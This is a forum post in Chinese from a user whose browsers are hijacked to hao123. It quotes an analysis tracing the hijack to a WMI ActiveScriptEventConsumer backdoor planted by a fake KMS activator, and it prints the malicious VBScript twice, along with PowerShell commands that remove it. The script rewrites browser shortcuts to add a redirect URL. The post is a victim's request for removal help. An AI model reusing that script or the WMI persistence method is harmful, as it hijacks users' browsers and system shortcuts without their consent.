本帖最後由 ntconjohn 於 2016-11-5 12:53 編輯
各位前輩好, 要麻煩您們抽空指導一下, 小弟pc是 win7 32位元 sp1企業版, ie,火狐, chrome被 hao123綁架首頁
已有段時間, 從網路找了些方法,刪除捷徑,機碼等都已無效,初步大概原因知道, pc 已被甚麼vbscript一直在修改首頁,
所以,刪除捷徑重開機又被綁,
無憂有篇回復文章,似乎跟小弟狀況一樣,由explore111大大撰寫,大概是寫的較詳細些 link:http://bbs.wuyou.net/forum.php?mod=viewthread&tid=378398&extra=&page=1
小弟將這篇copy如下,以~~~~~~~~~~~區隔開
`````````````````````````````````````````````````````````````````````````````````````````````````````````````
装了Win10, 要激活, 于是网上下载了一个所谓的小马KMS10激活
没想到中招了, 结果浏览器总是被加小尾巴跳转到hao123
系统目录的KMS10文件夹删除了, 注册表搜索删除了. 快捷方式手动清理干净了, 添加的二个计划任务也删除了
可是没用啊
没用啊, 怎么办... Explorer进程加载的DLL 系统服务, 观察一圈没发现异常啊. 网上百度, Google好多圈
一点用也没, 都是些抄来抄去的贴子. 重装系统, 这不符合我的风格呀(其实是软件太多,重装太麻烦)
于是装了一个HIPS, 发现原来是
scrcons.exe 他在修改快捷方式. 于是百度之, 引出来WMI, 仔细一看, 乖乖, 三无后门
(“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer)
于是网上下载了一个工具WIMExplorer 这里贴个下载地址 http://www.ks-soft.net/hostmon.eng/wmi/
一看 ActiveScriptEventConsumer 里面果然有一个vbs脚本再一看内容, 这不正是查找多日的小尾巴吗, 果断删除
从此世界清静了
下面大家看看小马的脚本
[vb] view plain copy file:///C:UsersntAppDataLocalTempmsohtmlclip1 1clip_image002.pngfile:///C:UsersntAppDataLocalTempmsohtmlclip1 1clip_image003.png - On Error Resume Next
- Const link = "http://hao.qquu8.com/?v=108&m=yx"
- Const link360 = "http://hao.qquu8.com/?v=108&m=yx&s=3"
- browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"
- lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UsersshomeDesktop,C:UsersshomeAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UsersshomeAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UsersshomeAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UsersshomeAppDataRoamingMicrosoftWindowsStart MenuPrograms"
- browsersArr = Split(browsers,",")
- Set oDic = CreateObject("scripting.dictionary")
- For Each browser In browsersArr
- oDic.Add LCase(browser), browser
- Next
- lnkpathsArr = Split(lnkpaths,",")
- Set oFolders = CreateObject("scripting.dictionary")
- For Each lnkpath In lnkpathsArr
- oFolders.Add lnkpath, lnkpath
- Next
- Set fso = CreateObject("Scripting.Filesystemobject")
- Set WshShell = CreateObject("Wscript.Shell")
- For Each oFolder In oFolders
- If fso.FolderExists(oFolder) Then
- For Each file In fso.GetFolder(oFolder).Files
- If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
- Set oShellLink = WshShell.CreateShortcut(file.Path)
- path = oShellLink.TargetPath
- name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
- If oDic.Exists(LCase(name)) Then
- If LCase(name) = LCase("360se.exe") Then
- oShellLink.Arguments = link360
- Else
- oShellLink.Arguments = link
- End If
- If file.Attributes And 1 Then
- file.Attributes = file.Attributes - 1
- End If
- oShellLink.Save
- End If
- End If
- Next
- End If
- Next
删除方法如下:以管理员身份运行PowerShell
执行以下命令
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding-Filter "Filter =""__eventfilter.name='VBScriptKids_filter'""" |Remove-WmiObject
gwmi -Namespace"root/cimv2" -Class ActiveScriptEventConsumer -Filter "Name ='VBScriptKids_consumer'" | Remove-WmiObject
gwmi -Namespace"root/cimv2" -Class __IntervalTimerInstruction -Filter "TimerID= 'VBScriptKids_timer'" | Remove-WmiObject
gwmi -Namespace"root/cimv2" -Class __EventFilter -Filter "Name ='VBScriptKids_filter'" | Remove-WmiObject
小弟以WIMExplorer 真的找到了ActiveScriptEventConsumer 里面果然有一个vbs脚本,如下圖
內容是:
ScriptText: On Error Resume Next:Const link = "http://hao.qquu8.com/?m=yx&r=j3":Const link360 = "http://hao.qquu8.com/?m=yx&r=j3&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,opera.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UsersntDesktop,C:UsersntAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UsersntAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UsersntAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UsersntAppDataRoamingMicrosoftWindowsStart MenuPrograms":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:
接著照無憂這篇文章以POWERSHELL去刪除腳本時,卻無法執行,
如下圖
偶去pc搜尋gwmi 也沒找到這程式,
如下圖
到這裡就做不下去
想請問各位前輩是否小弟上述步驟錯誤,或有沒有其他甚麼方法可以取代
POWERSHELL去刪除這個綁架首頁滴腳本? 麻煩大家囉,感激不盡!!
|
狗仔卡
發表於 2016-11-5 12:04
提升卡
置頂卡
變色卡
樓主